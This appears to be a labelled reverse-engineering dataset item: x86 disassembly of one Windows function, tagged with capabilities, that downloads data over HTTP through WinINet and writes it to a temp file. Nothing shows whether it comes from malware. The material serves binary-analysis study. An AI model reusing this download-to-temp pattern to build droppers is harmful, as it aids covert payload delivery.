Function at 0x44c07b
Capabilities:
Connect to http server
Create http request
Download and write a file
Get common file path
Read data from internet
Receive and write data from server to client
Receive data
Send data
Send http request
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2a2c
call fcn.004b6680
mov eax, dword [0x5154b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
mov dword [ebp - 0x2a14], eax
mov edi, edx
xor eax, eax
mov dword [ebp - 0x2a10], ecx
push 0x103
push eax
mov dword [ebp - 0x2a28], eax
mov esi, eax
mov byte [ebp - 0x20c], al
lea eax, [ebp - 0x20b]
push eax
mov dword [ebp - 0x2a24], ebx
mov dword [ebp - 0x2a2c], 0x4ee29c
call fcn.004aa670
push 0x103
lea eax, [ebp - 0x107]
mov byte [ebp - 0x108], 0
push esi
push eax
call fcn.004aa670
add esp, 0x18
test ebx, ebx
je 0x44c150
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x108]
xor ebx, ebx
push eax
push ebx
push 0x4ee2d4
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push ebx
push ebx
push 2
push ebx
push 1
push 0xc0000000
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x44c152
xor eax, eax
jmp 0x44c2c4
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.WININET.dll_InternetOpenA]
push 1
push ebx
push 3
mov ebx, 0x4e77ae
mov dword [ebp - 0x2a20], eax
push ebx
push ebx
push edi
push dword [ebp - 0x2a10]
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
push 1
push 0x4000000
lea ecx, [ebp - 0x2a2c]
mov dword [ebp - 0x2a1c], eax
push ecx
push 0
push str.HTTP_1.0
push dword [ebp - 0x2a14]
push 0x4ee310
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
push 0
push ebx
mov edi, eax
mov ebx, str.Content_Type:_application_x_www_form_urlencoded_r_n
push ebx
mov dword [ebp - 0x2a10], edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push ebx
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
mov edi, eax
test esi, esi
je 0x44c2a4
xor eax, eax
push 0x2800
push eax
mov dword [ebp - 0x2a18], eax
mov dword [ebp - 0x2a14], eax
lea eax, [ebp - 0x2a0c]
push eax
call fcn.004aa670
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 0xc
lea eax, [ebp - 0x2a18]
push eax
push 0x27ff
lea eax, [ebp - 0x2a0c]
push eax
push dword [ebp - 0x2a10]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x44c275
mov eax, dword [ebp - 0x2a18]
test eax, eax
je 0x44c275
cmp eax, 0x2800
jae 0x44c2d5
push 0
lea ecx, [ebp - 0x2a14]
mov byte [ebp + eax - 0x2a0c], 0
push ecx
push eax
lea eax, [ebp - 0x2a0c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x44c268
mov eax, dword [ebp - 0x2a14]
cmp eax, dword [ebp - 0x2a18]
je 0x44c26f
push esi
call ebx
xor esi, esi
xor edi, edi
test esi, esi
jne 0x44c1fe
jmp 0x44c2a4
test esi, esi
je 0x44c2a4
push esi
call ebx
test edi, edi
je 0x44c2a4
lea eax, [ebp - 0x108]
push eax
push 0x4e7e88
push 0x103
push 0x104
push dword [ebp - 0x2a24]
call fcn.004a622d
add esp, 0x14
push dword [ebp - 0x2a10]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x2a1c]
call esi
push dword [ebp - 0x2a20]
call esi
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004a41df
mov esp, ebp
pop ebp
ret
call fcn.004a6d2c
int3